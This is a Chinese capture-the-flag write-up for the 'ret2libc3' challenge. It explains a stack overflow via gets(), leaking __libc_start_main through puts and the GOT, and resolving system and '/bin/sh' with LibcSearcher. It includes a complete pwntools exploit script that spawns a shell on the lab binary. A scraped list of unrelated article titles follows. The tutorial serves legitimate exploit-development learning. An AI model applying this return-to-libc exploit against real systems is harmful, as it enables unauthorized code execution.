文件下载地址:

链接:https://pan.baidu.com/s/1IMZt9WIlXDZBX2J-hoCyNA
提取码:jrsx

0x01.分析

checksec:

    Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{char s; // [esp+1Ch] [ebp-64h]setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("No surprise anymore, system disappeard QQ.");printf("Can you find it !?");gets(&s);return 0;
}

存在gets,判断是栈溢出。继续查看线程表,寻找system函数或其它有用地址:

并没有发现任何有用的信息,暂时失去了头绪。

0x02.新知识:利用libc

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 记住公式:A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位(三位十六进制位)并不会发生改变。
  • 如果我们知道 libc 中某个函数的地址,对比最低12位,我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
  • 一般常用的方法是采用 got 表泄露。
  • 由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
  • libc 中也是有 /bin/sh 字符串的。

一般常使用LibcSearcher工具。

安装:

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

基本利用思路

  1. 泄露 __libc_start_main 地址。(因为它是程序最初被执行的地方,所以肯定已经执行过)
  2. 获取 libc 版本。
  3. 获取 system 地址与 /bin/sh 的地址。
  4. 再次执行源程序。
  5. 触发栈溢出执行 system(‘/bin/sh’)。

0x03.exp

##!/uer/bin/env python
## coding=utf-8from pwn import*
from LibcSearcher import LibcSearcherr=process('./ret2libc3')
elf=ELF('./ret2libc3')   #以ELF为格式创建对象puts_plt=elf.plt['puts']  #获取puts函数在PLT表的位置
libc_start_main_got=elf.got['__libc_start_main'] #函数的真实地址,我们要泄露的对象
main=elf.symbols['main']  #获取main函数的地址,为了再次执行源程序以再次利用栈溢出print "leak libc_start_main_got addr and return to main again"
payload=flat([112*'A',puts_plt,main,libc_start_main_got])
r.sendlineafter("Can you find it !?",payload)print "get the related addr"
libc_start_main_adr=u32(r.recv()[0:4])libc=LibcSearcher('__libc_start_main',libc_start_main_adr)libcbase=libc_start_main_adr-libc.dump('__libc_start_main')system_adr=libcbase+libc.dump('system')
bin_sh_adr=libcbase+libc.dump('str_bin_sh')payload=flat(['A'*104,system_adr,0x0,bin_sh_adr])r.sendline(payload)r.interactive()

0x04.原理解析

总体的原理就是通过泄露一个已经执行的函数,算出基址,(这里选用__libc_start_main ),得到system和bin/sh的地址,最后再来一次溢出,去执行syatem('bin/sh'),得到shell。

具体脚本解析:

  • 第一次payload的目的是打印泄漏libc_start_main函数的地址,然后返回到main函数,再次溢出,利用了puts函数打印该地址。
  • libc_start_main_adr=u32(r.recv()[0:4])
  • libc_start_main的地址的后12位即使程序有 ASLR 保护,交互时接受返回的地址,由于是32位的文件,每4位切一次片,用u32可以转成地址。
  • recv(4)是指只接收四个字节的信息,因为泄露的地址信息只存在于前四个字节,u32是指解包unpack,将一块数据解包成四个字节。
  • libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
  • 利用脚本去找到libc的版本号,第二个参数为已泄露的实际地址。
  • 这里运行时需要选择,有两个选择,只有第一个可以,暂不知道原理,一个一个试(重点
  • libcbase=libc_start_main_adr-libc.dump('__libc_start_main')
  • 这行代码的目的是用真实地址减去这个函数的偏移地址,得到libc基址
  • system_adr=libcbase+libc.dump('system') 得到libc中system的地址
  • bin_sh_adr=libcbase+libc.dump('str_bin_sh')得到libc中/bin/sh的地址
  • 也可以通过这个网站在线查找:https://libc.blukat.me/
  • 第二次溢出就是真正的拿到shell,为什么是104在下面解释。

104字符填充解释:

__start 是程序的起始。

void _start()
{%ebp = 0;int argc = pop from stackchar ** argv = top of stack;__libc_start_main(main, argc, argv, __libc_csu_init, __linc_csu_fini,edx, top of stack);
}

直接用main_plt = elf.symbols['_start']的话,仍然填充为112。

使用main需要减去8。(。。。)

可以这样计算:ebp+0x4-(esp+0x1c)(esp+0x1c是字符串的起点),ebp+4的目的是从main开始调用。

也可以debug调试:

在脚本前面加上:

context.terminal=['gnome-terminal','-x','sh','-c']

在需要调试的地方加上:(sh为进程变量)

gdb.attach(sh)

ROP-基础-ret2libc3相关推荐

  1. 二进制学习基础文章整理

    二进制.栈溢出入门笔记整理 以下是我入门二进制的一些笔记整理链接,特此整理出来,方便自己查阅,也方便读者阅读. 必备知识 <linux程序的常用保护机制> <PLT表和GOT表学习& ...

  2. 缓冲区溢出基础实践(二)——ROP 与 hijack GOT

    3.ROP ROP 即 Return Oritented Programming ,其主要思想是在栈缓冲区溢出的基础上,通过程序和库函数中已有的小片段(gadgets)构造一组串联的指令序列,形成攻击 ...

  3. ctf pwn 萌新学习记录 基本rop(题目来自Wiki)

    文章目录 ret2text 解题步骤 ret2shellcode 解题步骤 解读exp ret2sysycall 解题步骤 系统调用 一探 二探 ret2libc ret2libc1 ret2libc ...

  4. 【Web狗自虐系列1】Pwn入门之初级ROP

    0x0 栈介绍 栈式一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作 压栈与出栈都是操作的栈顶 高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了 ...

  5. iMeta | 南科大宋毅组综述逆境胁迫下植物向微生物组求救的遗传基础(附招聘)

    点击蓝字 关注我们 Review:植物向微生物群"呼救"策略的遗传基础 https://doi.org/10.1002/imt2.8 2022/3/14 ● 2022年3月14日, ...

  6. CTF(Pwn) Rop + ret2libc 题型 常规解法思路 (初级)

    参考例题 https://blog.csdn.net/weixin_45556441/article/details/115091036 引子 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码 ...

  7. [网络安全自学篇] 五十五.Windows系统安全之构建ROP链绕过DEP及原理详解

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或 ...

  8. CFI/CFG 安全防护原理详解(ROP攻击、DOP攻击、插装检测)

    1. 简介 CFI: Control-Flow Integrity(控制流完整性) CFG: Control Flow Guard(Windows的CFI实现) CFG: Control-Flow G ...

  9. 20145236《网络对抗》进阶实验——64位Ubuntu 17.10.1 ROP攻击

    20145236<网络对抗>进阶实验--64位Ubuntu 17.10.1 ROP攻击 基础知识 ROP攻击 ROP全称为Retrun-oriented Programmming(面向返回 ...

  10. Objective-C基础3:内存管理续

    1.上篇我们讲了OC中的内存管理基础,我们再总结一下何时该用内存管理. 1)当用new.alloc.copy创建对象时,必须要释放对象. 2)当拥有对象时,如果是临时对象,不需要释放:当需要长时间保留 ...

最新文章

  1. postman断言测试脚本一
  2. [Spring MVC起步]我的第一个MVC
  3. 74HC595的使用
  4. python课程与c+课程有什么不同-Python学习之二:Python 与 C 区别
  5. HTTP权威指南阅读笔记五:Web服务器
  6. Sympy常见多个变量【一行代码创建】
  7. 提高你的Java代码质量吧:少用静态导入
  8. Kafka 安装和搭建 (一)
  9. 如何查看sqlserver日志的方法
  10. 【RabbitMQ】8、RabbitMQ之mandatory和immediate
  11. is在python中是什么意思_Python 中 is 与 == 有啥区别?
  12. 【5G落地】首批5G商用牌照正式颁发!5G和AI并肩前行,会带来下一次的工业革命吗?...
  13. 【BZOJ】1015 [JSOI2008]星球大战starwar(并查集+离线处理)
  14. SQL:统计一个数据库中所有表记录的数量
  15. 【数字化常识】有关专利分析的一二事
  16. 2021-12-21 理解JS中的shim / polyfill / 垫片概念
  17. 如何查看一个期刊是sci几区以及影响因子 入藏号 ISSN等信息
  18. LintCode 练习【C++】
  19. Android应用中打开微信扫一扫
  20. Word中批量更新域的两个小方法

热门文章

  1. 牙齿松动,牙龈萎缩怎么治疗?
  2. 1141 -- n%m
  3. BZOJ1746 DP
  4. 2020,搞个 Mac 玩玩!
  5. Kali学习笔记(一)利用burpsuite爆破wifi管理员密码
  6. Docker基础下(学习笔记)
  7. c语言set,c中set的用法
  8. vue动画-实现购物车的动态添加动画
  9. linux(Debian11)休眠锁屏后无法唤醒
  10. ios信号从4g变成无服务器,iPhoneX升至iOS12.1.4,4G信号还剩一格,网友:差到要哭了...